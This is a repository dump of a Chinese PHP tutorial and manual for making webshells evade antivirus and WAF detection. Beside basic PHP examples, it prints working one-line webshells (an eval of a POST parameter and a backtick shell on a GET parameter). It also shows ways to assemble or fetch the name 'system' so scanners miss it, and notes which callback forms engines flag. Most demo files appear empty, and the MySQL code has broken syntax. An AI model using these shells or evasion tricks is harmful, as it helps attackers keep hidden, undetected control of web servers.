├── Demo
├── 0.PHP基础
│ ├── 0.1.php
│ ├── 0.2.1.php
│ ├── 0.2.2.php
│ ├── 0.2.3.php
│ ├── 0.2.4.php
│ ├── 0.3.php
│ └── 0.5.php
├── 1.回调类型函数
│ ├── 1.1.php
│ ├── 1.2.php
│ ├── 1.3.php
│ └── 1.4.php
├── 2.字符串处理类函数
│ ├── 2.0.php
│ ├── 2.1.php
│ ├── 2.2.php
│ └── 2.3.php
├── 3.命令执行类函数
│ ├── 3.1.php
│ ├── 3.2.php
│ ├── 3.3.php
│ ├── 3.4.php
│ ├── 3.5.php
│ ├── 3.6.php
│ └── 3.7.php
├── 4.文件写入类函数
│ └── 4.1.php
└── README.md
├── LICENSE
├── PHP-Webshell-ByPass-Guide.md
├── README.md
└── img
├── Readme.md
├── WeChat.jpg
└── 微信公众号.bmp
/Demo/0.PHP基础/0.1.php:
--------------------------------------------------------------------------------
1 |
11 |
--------------------------------------------------------------------------------
/Demo/0.PHP基础/0.2.1.php:
--------------------------------------------------------------------------------
1 |
7 |
--------------------------------------------------------------------------------
/Demo/0.PHP基础/0.2.2.php:
--------------------------------------------------------------------------------
1 |
8 |
--------------------------------------------------------------------------------
/Demo/0.PHP基础/0.2.3.php:
--------------------------------------------------------------------------------
1 |
12 |
--------------------------------------------------------------------------------
/Demo/0.PHP基础/0.2.4.php:
--------------------------------------------------------------------------------
1 |
10 |
--------------------------------------------------------------------------------
/Demo/0.PHP基础/0.3.php:
--------------------------------------------------------------------------------
1 |
7 |
--------------------------------------------------------------------------------
/Demo/0.PHP基础/0.5.php:
--------------------------------------------------------------------------------
1 |
10 |
--------------------------------------------------------------------------------
/Demo/1.回调类型函数/1.1.php:
--------------------------------------------------------------------------------
1 |
11 |
--------------------------------------------------------------------------------
/Demo/1.回调类型函数/1.2.php:
--------------------------------------------------------------------------------
1 |
14 |
--------------------------------------------------------------------------------
/Demo/1.回调类型函数/1.3.php:
--------------------------------------------------------------------------------
1 | ";
5 | }
6 | $a=array("a"=>"red","b"=>"green","c"=>"blue");
7 | array_walk($a,"myfunction","has the value");
8 |
9 | ?>
10 |
--------------------------------------------------------------------------------
/Demo/1.回调类型函数/1.4.php:
--------------------------------------------------------------------------------
1 |
12 |
--------------------------------------------------------------------------------
/Demo/2.字符串处理类函数/2.0.php:
--------------------------------------------------------------------------------
1 | 10) {
6 | $tmp .= $s[$a%10];
7 | $a = $a/10;
8 | }
9 | return $tmp.$s[$a];
10 | }
11 | echo confusion(976534); //sysTem(高危函数)
12 |
13 | ?>
14 |
--------------------------------------------------------------------------------
/Demo/2.字符串处理类函数/2.1.php:
--------------------------------------------------------------------------------
1 | "; //451232
3 | echo substr("AabyssTeam", 0, 6)."
"; //Aabyss
4 |
5 | ?>
6 |
--------------------------------------------------------------------------------
/Demo/2.字符串处理类函数/2.2.php:
--------------------------------------------------------------------------------
1 | ";
4 | echo intval(0x1A); // 26
5 | echo "";
6 | echo intval(42); // 42
7 | echo "";
8 | echo intval(4.2); // 4
9 |
10 | ?>
11 |
--------------------------------------------------------------------------------
/Demo/2.字符串处理类函数/2.3.php:
--------------------------------------------------------------------------------
1 | "; //Peter
5 | echo $age; //43
6 |
7 | parse_str("name=Peter&age=43",$myArray);
8 | print_r($myArray); //Array ( [name] => Peter [age] => 43 )
9 |
10 | ?>
11 |
--------------------------------------------------------------------------------
/Demo/3.命令执行类函数/3.1.php:
--------------------------------------------------------------------------------
1 | ";
4 | eval('echo "我想学php";'); //"我想学php"
5 |
6 | ?>
7 |
--------------------------------------------------------------------------------
/Demo/3.命令执行类函数/3.2.php:
--------------------------------------------------------------------------------
1 |
5 |
--------------------------------------------------------------------------------
/Demo/3.命令执行类函数/3.3.php:
--------------------------------------------------------------------------------
1 | index.php )
5 |
6 | ?>
7 |
--------------------------------------------------------------------------------
/Demo/3.命令执行类函数/3.4.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/Demo/3.命令执行类函数/3.5.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/Demo/3.命令执行类函数/3.6.php:
--------------------------------------------------------------------------------
1 |
7 |
--------------------------------------------------------------------------------
/Demo/3.命令执行类函数/3.7.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/Demo/4.文件写入类函数/4.1.php:
--------------------------------------------------------------------------------
1 |
7 |
--------------------------------------------------------------------------------
/Demo/README.md:
--------------------------------------------------------------------------------
1 | # 说明
2 |
3 | - 这是存放本手册相关代码例子的文件夹,方便各位师傅的调试和学习
4 | - 大部分手册上的代码都经过我本地调试,如有问题欢迎各位师傅提出
5 | - 部分代码含有恶意片段,杀软报毒属正常现象,请理性分析
6 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 曾哥
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/PHP-Webshell-ByPass-Guide.md:
--------------------------------------------------------------------------------
1 | # PHP从零学习到Webshell免杀手册
2 | ### 临渊羡鱼,不如退而结网;扬汤止沸,不如去火抽薪。
3 |
4 | 
5 |
6 | **手册版本号:V1.4.9-2025/01/10**
7 |
8 | 这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新
9 |
10 | ### 如何在线阅读?
11 |
12 | - 个人博客地址: [https://blog.zgsec.cn/archives/197.html](https://blog.zgsec.cn/archives/197.html)
13 | - SeeBug Paper地址:[https://paper.seebug.org/3044/](https://paper.seebug.org/3044/)
14 | - 阿里先知社区:[https://xz.aliyun.com/t/13591](https://xz.aliyun.com/t/13591)
15 | - FreeBuf地址:[https://www.freebuf.com/articles/web/380751.html](https://www.freebuf.com/articles/web/380751.html)
16 | - 奇安信攻防社区地址:[https://forum.butian.net/share/2488](https://forum.butian.net/share/2488)
17 | - Gitee开源地址:[https://gitee.com/AabyssZG/WebShell-Bypass-Guide](https://gitee.com/AabyssZG/WebShell-Bypass-Guide)
18 |
19 | **如果师傅们觉得不错,欢迎给我点个Star哈哈~**
20 |
21 | 有什么新的WebShell免杀姿势、手法,欢迎与我交流
22 |
23 | ## 渊龙Sec安全团队-AabyssZG整理
24 |
25 | 1. **本资料仅供学习参考,严禁使用者进行未授权渗透测试!**
26 | 2. **部分免杀思路来自互联网,欢迎各位师傅和我交流。**
27 | 3. **本文为内部参考资料,仅作学习交流,严禁任何形式的转载。**
28 | 4. **本文档内容为完整版,由渊龙Sec安全团队成员AabyssZG编写。**
29 |
30 |
31 | # 一、PHP相关资料
32 |
33 | - PHP官方手册: [https://www.php.net/manual/zh/](https://www.php.net/manual/zh/)
34 | - PHP函数参考: [https://www.php.net/manual/zh/funcref.php](https://www.php.net/manual/zh/funcref.php)
35 | - 菜鸟教程: [https://www.runoob.com/php/php-tutorial.html](https://www.runoob.com/php/php-tutorial.html)
36 | - w3school: [https://www.w3school.com.cn/php/index.asp](https://www.w3school.com.cn/php/index.asp)
37 | - 渊龙Sec安全团队导航: [https://dh.aabyss.cn](https://dh.aabyss.cn)
38 |
39 |
40 | # 二、PHP函数速查
41 |
42 | ## 0# PHP基础
43 |
44 | ### 0.0 PHP基础格式
45 |
46 | ```php
47 |
50 | ```
51 |
52 | 这是一个PHP文件的基本形式
53 |
54 | ### 0.1 .=和+=赋值
55 |
56 | ```php
57 | $a = 'a'; //赋值
58 | $b = 'b'; //赋值
59 | $c = 'c'; //赋值
60 | $c .= $a;
61 | $c .= $b;
62 |
63 | echo $c; //cab
64 | ```
65 |
66 | - `.=` 通俗的说,就是累积
67 | - `+=` 意思是:左边的变量的值加上右边的变量的值,再赋给左边的变量
68 |
69 | ### 0.2 数组
70 |
71 | **`array()` 函数用于创建数组**
72 |
73 | ```php
74 | $shuzu = array("AabyssZG","AabyssTeam");
75 | echo "My Name is " . $shuzu[0] . ", My Team is " . $shuzu[1] . ".";
76 | //My Name is AabyssZG, My Team is AabyssTeam.
77 | ```
78 |
79 | **数组可嵌套:**
80 |
81 | ```php
82 | $r = 'b[]=AabyssZG&b[]=system';
83 | $rce = array(); //用array函数新建数组
84 | parse_str($r, $rce); //这个函数下文有讲
85 | print_r($rce);
86 | ```
87 |
88 | `$rce` 数组输出为:
89 |
90 | ```php
91 | Array (
92 | [b] => Array
93 | (
94 | [0] => AabyssZG
95 | [1] => system
96 | )
97 | )
98 | ```
99 |
100 | 这时候可以这样利用
101 |
102 | ```php
103 | $rce['b'][1](参数); //提取rce数组中的b数组内容,相当于system(参数)
104 | echo $rce['b'][0]; //AabyssZG
105 | ```
106 |
107 | **使用 `[]` 定义数组**
108 |
109 | ```php
110 | $z = ['A','a','b', 'y', 's', 's'];
111 | $z[0] = 'A';
112 | $z[1] = 'a';
113 | $z[2] = 'b';
114 | $z[3] = 'y';
115 | $z[4] = 's';
116 | $z[5] = 's';
117 | ```
118 |
119 | 这就是基本的一个数组,数组名为z,数组第一个成员为0,以此类推
120 |
121 | **`compact()` 函数用于创建数组创建一个包含变量名和它们的值的数组**
122 |
123 | ```php
124 | $firstname = "Aabyss";
125 | $lastname = "ZG";
126 | $age = "21";
127 |
128 | $result = compact("firstname", "lastname", "age");
129 | print_r($result);
130 | ```
131 |
132 | 数组输出为:
133 |
134 | ```php
135 | Array ( [firstname] => Aabyss [lastname] => ZG [age] => 21 )
136 | ```
137 |
138 | ### 0.3 连接符
139 |
140 | **`.` 最简单的连接符**
141 |
142 | ```php
143 | $str1="hello";
144 | $str2="world";
145 | echo $str1.$str2; //helloworld
146 | ```
147 |
148 | ### 0.4 运算符
149 |
150 | **`&` 运算符**
151 |
152 | 加减乘除应该不用我说了吧
153 |
154 | ```php
155 | ($var & 1) //如果$var是一个奇数,则返回true;如果是偶数,则返回false
156 | ```
157 |
158 | **逻辑运算符**
159 |
160 | 特别是 `xor` 异或运算符,在一些场合需要用到
161 |
162 | 
163 |
164 | ### 0.5 常量
165 |
166 | **自定义常量**
167 |
168 | ```php
169 | define('-_-','smile'); //特殊符号开头,定义特殊常量
170 | echo constant("-_-"); //不能直接echo特殊常量,否则会报错
171 | define('wo',3.14);
172 | const wo = 3;
173 | ```
174 |
175 | 常量的命名规则
176 |
177 | 1. 常量不需要使用 `$` 符号,一旦使用系统就会认为是变量;
178 | 2. 常量的名字组成由字母、数字和下划线组成,不能以数字开头;
179 | 3. 常量的名字通常是以大写字母为主,以区别于变量;
180 | 4. 常量命名的规则比变量要松散,可以使用一些特殊字符,该方式只能使用 `define` 定义;
181 |
182 | **`__FILE__` 常量(魔术常量)**
183 |
184 | ```php
185 | __FILE__ //返回文件的完整路径和文件名
186 |
187 | dirname(__FILE__) //返回文件所在当前目录到系统根目录的一个目录结构(即代码所在脚本的路径,不会返回当前的文件名称)
188 | ```
189 |
190 | **其他魔术常量**
191 |
192 | ```php
193 | __DIR__ //当前被执行的脚步所在电脑的绝对路径
194 | __LINE__ //当前所示的行数
195 | __NAMESPACE__ //当前所属的命名空间
196 | __CLASS__ //当前所属的类
197 | __METHOD__ //当前所属的方法
198 | ```
199 |
200 | ### 0.6 PHP特性
201 |
202 | - PHP中函数名、方法名、类名不区分大小写,常量和变量区分大小写
203 | - 在某些环境中,`` 没有闭合会导致无法正常运作
204 |
205 | ### 0.7 PHP标记几种写法
206 |
207 | 其中第一和第二种为常用的写法
208 | ```php
209 | 第一种:
210 | 第二种:
212 | 第四种:<% %>
213 | 第五种:
214 | ```
215 | 第三种和第四种为短标识,当使用他们需要开启 `php.ini` 文件中的 `short_open_tag` ,不然会报错
216 |
217 | ### 0.8 $_POST变量
218 |
219 | 在 PHP 中,预定义的 `$_POST` 变量用于收集来自 `method="post"` 的表单中的值
220 |
221 | ```php
222 | $num1=$_POST['num1'];
223 | $num2=$_POST['num2'];
224 | print_r($_POST);
225 | ```
226 |
227 | 当你在HTTP数据包Body传参时:
228 | ```php
229 | num1=1&num2=2
230 | ```
231 |
232 | 得到回显:
233 | ```php
234 | Array
235 | (
236 | [num1] => 1
237 | [num2] => 2
238 | )
239 | ```
240 |
241 |
242 | ## 1# 回调类型函数
243 |
244 | ### 1.0 Tips
245 |
246 | 在PHP的WebSehll免杀测试过程中,使用回调函数可以发现查杀引擎对函数和函数的参数是否有对应的敏感性
247 |
248 | ```php
249 | array_map('system', array('whoami')); //被查杀
250 | array_map($_GET['a'], array('whoami')); //被查杀
251 | array_map('var_dump', array('whoami')); //未被查杀
252 | array_map('system', array($_GET['a'])); //被查杀
253 | ```
254 |
255 | 这里在列举一些回调函数,感兴趣可以自行查找:
256 |
257 | ```php
258 | array_filter()
259 | array_walk()
260 | array_map()
261 | array_reduce()
262 | array_walk_recursive()
263 | call_user_func_array()
264 | call_user_func()
265 | filter_var()
266 | filter_var_array()
267 | registregister_shutdown_function()
268 | register_tick_function()
269 | forward_static_call_array()
270 | uasort()
271 | uksort()
272 | ```
273 |
274 | ### 1.1 array_map()
275 |
276 | **`array_map()` 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组**
277 |
278 | Demo:将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新的值的数组:
279 |
280 | ```php
281 | function myfunction($v)
282 | {
283 | return($v*$v);
284 | }
285 |
286 | $a=array(1,2,3,4,5); //array(1,4,9,16,25)
287 | print_r(array_map("myfunction",$a));
288 | ```
289 |
290 | ### 1.2 register_shutdown_function()
291 |
292 | **`register_shutdown_function()` 函数是来注册一个会在PHP中止时执行的函数**
293 |
294 | PHP中止的情况有三种:
295 |
296 | - 执行完成
297 | - exit/die导致的中止
298 | - 发生致命错误中止
299 |
300 | Demo:后面的after并没有输出,即 `exit` 或者是 `die` 方法导致提前中止
301 |
302 | ```php
303 | function test()
304 | {
305 | echo '这个是中止方法test的输出';
306 | }
307 |
308 | register_shutdown_function('test');
309 |
310 | echo 'before' . PHP_EOL;
311 | exit();
312 | echo 'after' . PHP_EOL;
313 | ```
314 |
315 | 输出:
316 |
317 | ```php
318 | before
319 | 这个是中止方法test的输出
320 | ```
321 |
322 | ### 1.3 array_walk()
323 |
324 | **`array_walk()` 函数对数组中的每个元素应用用户自定义函数**
325 |
326 | Demo:这个很简单,直接看就明白了
327 |
328 | ```php
329 | function myfunction($value,$key,$p)
330 | {
331 | echo "The key $key $p $value
";
332 | }
333 | $a=array("a"=>"red","b"=>"green","c"=>"blue");
334 | array_walk($a,"myfunction","has the value");
335 | ```
336 |
337 | 输出:
338 |
339 | ```php
340 | The key a has the value red
341 | The key b has the value green
342 | The key c has the value blue
343 | ```
344 |
345 | ### 1.4 array_filter()
346 |
347 | **`array_filter()` 函数用回调函数过滤数组中的元素**
348 |
349 | 该函数把输入数组中的每个键值传给回调函数:如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组(数组键名保持不变)
350 |
351 | Demo:
352 |
353 | ```php
354 | function test_odd($var)
355 | {
356 | return($var & 1);
357 | }
358 |
359 | $a1=array("a","b",2,3,4);
360 | print_r(array_filter($a1,"test_odd"));
361 | ```
362 |
363 | 输出:
364 |
365 | ```php
366 | Array ( [3] => 3 )
367 | ```
368 |
369 | ### 1.5 foreach()
370 |
371 | **`foreach()` 方法用于调用数组的每个元素,并将元素传递给回调函数**
372 |
373 | foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。
374 |
375 | Demo:
376 |
377 | ```php
378 | $arr = array(1,2,3,4);
379 | //用foreach来处理$arr
380 | foreach($arr as $k=>$v) {
381 | $arr[$k] = 2 * $v;
382 | }
383 | print_r($arr);
384 | ```
385 |
386 | 输出:
387 |
388 | ```php
389 | Array
390 | (
391 | [0] => 2
392 | [1] => 4
393 | [2] => 6
394 | [3] => 8
395 | )
396 | ```
397 |
398 | ### 1.6 isset()
399 |
400 | **`isset()` 函数用于检测变量是否已设置并且非 NULL**
401 |
402 | isset 在php中用来判断变量是否声明,该函数返回布尔类型的值,即true/false
403 | isset 只能用于变量,因为传递任何其它参数都将造成解析错误
404 |
405 | Demo:
406 |
407 | ```php
408 | $var = '';
409 |
410 | // 结果为 TRUE,所以后边的文本将被打印出来。
411 | if (isset($var)) {
412 | echo "变量已设置。" . PHP_EOL;
413 | }
414 |
415 | // 在后边的例子中,我们将使用 var_dump 输出 isset() 的返回值。
416 | // the return value of isset().
417 |
418 | $a = "test";
419 | $b = "anothertest";
420 |
421 | var_dump(isset($a)); // TRUE
422 | var_dump(isset($a, $b)); // TRUE
423 |
424 | unset ($a);
425 |
426 | var_dump(isset($a)); // FALSE
427 | var_dump(isset($a, $b)); // FALSE
428 |
429 | $foo = NULL;
430 | var_dump(isset($foo)); // FALSE
431 | ```
432 |
433 | 输出:
434 |
435 | ```php
436 | bool(true)
437 | bool(true)
438 | bool(false)
439 | bool(false)
440 | bool(false)
441 | ```
442 |
443 |
444 | ## 2# 字符串处理类函数
445 |
446 | ### 2.0 Tips
447 |
448 | 可以自己定义函数,组成字符串的拼接方式,比如:
449 |
450 | ```php
451 | function confusion($a){
452 | $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
453 | $tmp = "";
454 | while ($a>10) {
455 | $tmp .= $s[$a%10];
456 | $a = $a/10;
457 | }
458 | return $tmp.$s[$a];
459 | }
460 | echo confusion(976534); //sysTem(高危函数)
461 | ```
462 |
463 | 这时候,给 `$a` 传参为 `976534` 即可拼接得 `system`
464 |
465 | 同样,还有很多字符串处理类的函数,可以参考如下:
466 |
467 | ```php
468 | trim() //从字符串的两端删除空白字符和其他预定义字符
469 | ucfirst() //把字符串中的首字符转换为大写
470 | ucwords() //把字符串中每个单词的首字符转换为大写
471 | strtoupper() //把字符串转换为大写
472 | strtolower() //把字符串转换为小写
473 | strtr() //转换字符串中特定的字符
474 | substr_replace() //把字符串的一部分替换为另一个字符串
475 | substr() //返回字符串的一部分
476 | strtok() //把字符串分割为更小的字符串
477 | str_rot13() //对字符串执行 ROT13 编码
478 | ```
479 |
480 | ### 2.1 substr()
481 |
482 | **`substr()` 函数返回字符串的一部分**
483 |
484 | Demo:相当于截取字段固定长度和开头的内容
485 |
486 | ```php
487 | echo substr("D://system//451232.php", -10, 6)."
"; //451232
488 | echo substr("AabyssTeam", 0, 6)."
"; //Aabyss
489 | ```
490 |
491 | ### 2.2 intval()
492 |
493 | **`intval()` 获取变量的整数值**
494 |
495 | ```php
496 | int intval(var,base) //var指要转换成 integer 的数量值,base指转化所使用的进制
497 | ```
498 |
499 |
500 | 如果 base 是 0,通过检测 var 的格式来决定使用的进制:
501 |
502 | - 如果字符串包括了 `0x` (或 `0X`) 的前缀,使用 16 进制 (hex);
503 | - 否则,如果字符串以 `0` 开始,使用 8 进制(octal);
504 | - 否则,将使用 10 进制 (decimal)
505 |
506 | **成功时返回 var 的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1**
507 |
508 | Demo:获取对应的整数值
509 |
510 | ```php
511 | echo intval(042); // 34
512 | echo intval(0x1A); // 26
513 | echo intval(42); // 42
514 | echo intval(4.2); // 4
515 | ```
516 |
517 | ### 2.3 parse_str()
518 |
519 | **`parse_str()` 函数把查询字符串解析到变量中**
520 |
521 | Demo:这个也很简单,看看例子就明白了
522 |
523 | ```php
524 | parse_str("name=Peter&age=43");
525 | echo $name."
"; //Peter
526 | echo $age; //43
527 |
528 | parse_str("name=Peter&age=43",$myArray);
529 | print_r($myArray); //Array ( [name] => Peter [age] => 43 )
530 | ```
531 |
532 | ### 2.4 pack()
533 |
534 | **`pack()` 函数函数把数据装入一个二进制字符串**
535 |
536 | Demo:简单来说,就是将指定编码的数字转成字符串
537 |
538 | ```php
539 | echo pack("C3",80,72,80); //ASCII编码转换为PHP
540 | echo pack("H*","4161627973735465616d"); //16进制编码转换为AabyssTeam
541 | ```
542 |
543 | 其他参数请参考菜鸟教程: [https://www.runoob.com/php/func-misc-pack.html](https://www.runoob.com/php/func-misc-pack.html)
544 |
545 |
546 | ## 3# 命令执行类函数
547 |
548 | ### 3.0 Tips
549 |
550 | 命令执行类函数在”某些情况“下是非常危险的,所以往往遭到杀毒软件和WAF的重点关注,所以在做免杀的时候,为了绕过污点检测往往都要将命令执行类函数进行拼接、重组、加密、混淆来规避查杀。
551 |
552 | ### 3.1 eval()
553 |
554 | **`eval()` 函数把字符串按照 PHP 代码来计算,即执行PHP代码**
555 |
556 | Demo:将其中的内容按照PHP代码执行
557 |
558 | ```php
559 | echo 'echo "我想学php"'; //echo "我想学php"
560 | eval('echo "我想学php";'); //"我想学php"
561 | ```
562 |
563 | Demo:一句话木马将参数传到 `eval()` 函数内执行
564 |
565 | ```php
566 | @eval($_POST['AabyssTeam']);
567 | ```
568 |
569 | ### 3.2 system()
570 |
571 | **`system()` 函数的主要功能是在系统权限允许的情况下,执行系统命令(Windows系统和Linux系统均可执行)**
572 |
573 | Demo:执行Whoami并回显
574 |
575 | ```php
576 | system('whoami');
577 | ```
578 |
579 | ### 3.3 exec()
580 |
581 | **`exec()` 函数可以执行系统命令,但它不会直接输出结果,而是将执行的结果保存到数组中**
582 |
583 | Demo:将 `exec()` 函数执行的结果导入result数组
584 |
585 | ```php
586 | exec( 'ls' , $result );
587 | print_r($result); //Array ( [0] => index.php )
588 | ```
589 |
590 | ### 3.4 shell_exec()
591 |
592 | **`shell_exec()` 函数可以执行系统命令,但不会直接输出执行的结果,而是返回一个字符串类型的变量来存储系统命令的执行结果**
593 |
594 | Demo:执行 `ls` 命令
595 |
596 | ```php
597 | echo shell_exec('ls'); //index.php
598 | ```
599 |
600 | ### 3.5 passthru()
601 |
602 | **`passthru()` 函数可以执行系统命令并将执行结果输出到页面中**
603 |
604 | 与 `system()` 函数不同的是,它支持二进制的数据,使用时直接在参数中传递字符串类型的系统命令即可
605 |
606 | Demo:执行 `ls` 命令
607 |
608 | ```php
609 | passthru('ls'); //index.php
610 | ```
611 |
612 | ### 3.6 popen()
613 |
614 | **`popen()` 函数可以执行系统命令,但不会输出执行的结果,而是返回一个资源类型的变量用来存储系统命令的执行结果**
615 |
616 | 故需要配合 `fread()` 函数来读取命令的执行结果
617 |
618 | Demo:执行 `ls` 命令
619 |
620 | ```php
621 | $result = popen('ls', 'r'); //参数1:执行ls命令 参数2:字符串类型
622 | echo fread($result, 100); //参数1:上面生成的资源 参数2:读取100个字节
623 | ```
624 |
625 | ### 3.7 反引号``
626 |
627 | **反引号可以执行系统命令但不会输出结果,而是返回一个字符串类型的变量用来存储系统命令的执行结果**
628 |
629 | 可单独使用,也可配合其他命令执行函数使用来绕过参数中的过滤条件
630 |
631 | Demo:执行 `ls` 命令
632 |
633 | ```php
634 | echo `ls`; //index.php
635 | ```
636 |
637 | 所以,就可以通过这个写出几乎最短的Webshell了
638 |
639 | ```php
640 | =`$_GET[1]`;
641 | ```
642 |
643 |
644 | ## 4# 文件写入类函数
645 |
646 | ### 4.0 Tips
647 |
648 | 在Webshell的免杀过程中,一部分人另辟蹊径:通过执行一个执行内容为”写入恶意PHP“的样本来绕过查杀,执行成功后会在指定目录写入一个恶意PHP文件,最后通过连接那个恶意PHP文件获得WebShell
649 |
650 | ### 4.1 fwrite()
651 |
652 | **`fwrite()` 函数是用于写入文件,如果成功执行,则返回写入的字节数;失败,则返回 FALSE**
653 |
654 | Demo:将 `Hello World. Testing!` 写入 `test.txt`
655 |
656 | ```php
657 | $file = fopen("test.txt","w");
658 | echo fwrite($file,"Hello World. Testing!"); //21
659 | fclose($file);
660 | ```
661 |
662 | ### 4.2 file_put_contents()
663 |
664 | **`file_put_contents()` 函数把一个字符串写入文件中**
665 |
666 | 如果文件不存在,将创建一个文件
667 |
668 | Demo:使用 `FILE_APPEND` 标记,可以在文件末尾追加内容
669 |
670 | ```php
671 | $file = 'sites.txt';
672 | $site = "\nGoogle";
673 | file_put_contents($file, $site, FILE_APPEND);
674 | ```
675 |
676 | 同时该函数可以配合解密函数写入文件,比如:
677 |
678 | ```php
679 | $datatest = "[文件的base64编码]";
680 | file_put_contents('./要写入的文件名', base64_decode($datatest));
681 | ```
682 |
683 |
684 | ## 5# 异常处理类函数
685 |
686 | ### 5.0 Tips
687 |
688 | 在PHP的异常处理中,异常处理的相关函数引起了安全行业人员的注意,可以构造相关的异常处理,来绕过WAF的识别和检测。
689 |
690 | ### 5.1 Exception 类
691 |
692 | `Exception` 类是php所有异常的基类,这个类包含如下方法:
693 |
694 | ```php
695 | __construct //异常构造函数
696 | getMessage //获取异常消息内容
697 | getPrevious //返回异常链中的前一个异常,如果不存在则返回null值
698 | getCode //获取异常代码
699 | getFile //获取发生异常的程序文件名称
700 | getLine //获取发生异常的代码在文件中的行号
701 | getTrace //获取异常追踪信息,其返回值是一个数组
702 | getTraceAsString //获取字符串类型的异常追踪信息
703 | ```
704 |
705 | 写个简单的例子方便理解:
706 |
707 | ```php
708 | // 创建一个有异常处理的函数
709 | function checkNum($number)
710 | {
711 | if($number>1)
712 | {
713 | throw new Exception("变量值必须小于等于 1");
714 | }
715 | return true;
716 | }
717 | // 在 try 块 触发异常
718 | try
719 | {
720 | checkNum(2);
721 | // 如果抛出异常,以下文本不会输出
722 | echo '如果输出该内容,说明 $number 变量小于1';
723 | }
724 | // 捕获异常
725 | catch(Exception $e)
726 | {
727 | echo 'Message: ' .$e->getMessage() . "
" ;
728 | echo "错误信息:" . $e->getMessage() . "
";
729 | echo "错误码:" . $e->getCode() . "
";
730 | echo "错误文件:" . $e->getFile() . "
";
731 | echo "错误行数:" . $e->getLine() . "
";
732 | echo "前一个异常:" . $e->getPrevious() . "
";
733 | echo "异常追踪信息:";
734 | echo "" . print_r($e->getTrace(), true) . "
";
735 | echo "报错内容输出完毕";
736 | }
737 | ```
738 |
739 | 运行后输出结果:
740 |
741 | ```php
742 | Message: 变量值必须小于等于 1
743 | 错误信息:变量值必须小于等于 1
744 | 错误码:0
745 | 错误文件:D:\phpstudy_pro\WWW\AabyssZG\error.php
746 | 错误行数:7
747 | 前一个异常:
748 | 异常追踪信息:Array ( [0] => Array ( [file] => D:\phpstudy_pro\WWW\AabyssZG\error.php [line] => 14 [function] => checkNum [args] => Array ( [0] => 2 ) ) )
749 | 报错内容输出完毕
750 | ...
751 | ```
752 |
753 |
754 | ## 6# 数据库连接函数
755 |
756 | ### 6.0 Tips
757 |
758 | 可以尝试通过读取数据库内的内容,来获取敏感关键词或者拿到执行命令的关键语句,就可以拼接到php中执行恶意的代码了。
759 |
760 | ### 6.1 Sqlite数据库
761 |
762 | 配合我上面写的 `file_put_contents()` 文件写入函数,先写入本地Sqlite文件然后读取敏感内容
763 |
764 | ```php
765 | $path = "AabyssZG.db";
766 | $db = new PDO("sqlite:" . $path);
767 | //连接数据库后查询敏感关键词
768 | $sql_stmt = $db->prepare('select * from test where name="system"');
769 | $sql_stmt->execute();
770 | //提权敏感关键词并进行拼接
771 | $f = substr($sql_stmt->queryString, -7, 6);
772 | $f($_GET['aabyss']); //system($_GET['aabyss']);
773 | ```
774 |
775 | ### 6.2 MySQL数据库
776 |
777 | 这里使用 `MySQLi()` 这个函数,其实PHP有很多MySQL连接函数,可自行尝试
778 |
779 | 然后通过这个函数,连接公网数据库(只要目标能出网),即可连接并获得敏感字符拼接到php中
780 |
781 | ```php
782 | function coon($sql) {
783 | $mysqli = new MySQLi("localhost", "test", "test123", "test");
784 | //默认的 MySQL的类,其属性与方法见手册
785 | if ($mysqli - > connect_error) {
786 | //connect_error为属性,报错
787 | die("数据库连接失败:".$mysqli - > connect_errno. "--".$mysqli - > connect_error);
788 | // connect_errno:错误编号
789 | }
790 | $mysqli - > select_db("test"); //选择数据库
791 | // 返回值 $res 为资源类型(获取到结果的资源类型)
792 | $res = $mysqli - > query($sql) or die($mysqli - > error);
793 | //释放结果集,关闭连接
794 | $mysqli - > close();
795 | }
796 | $sql = "select * from test where name LIKE 'system'";
797 | $arr = coon($sql);
798 | $res = array("data" => $arr);
799 | echo json_encode($res);
800 | ```
801 |
802 |
803 | ## 7# PHP过滤器
804 |
805 | 
806 |
807 |
808 | ## 8# PHP特性利用
809 |
810 | ### 8.0 Tips
811 |
812 | 不管是在CTF还是在Webshell攻防当中,妥善利用好PHP的特性能让你成功ByPass
813 |
814 | ### 8.1 HASH比较绕过
815 |
816 | ```php
817 | if (isset($_GET['sum1']) and isset($_GET['sum2'])) {
818 | if ($_GET['sum1'] != $_GET['sum2']) {
819 | if (md5($_GET['sum1']) == md5($_GET['sum2'])) {
820 | die('恭喜你成功绕过');
821 | }else
822 | print '错误';
823 | }
824 | }
825 | ```
826 |
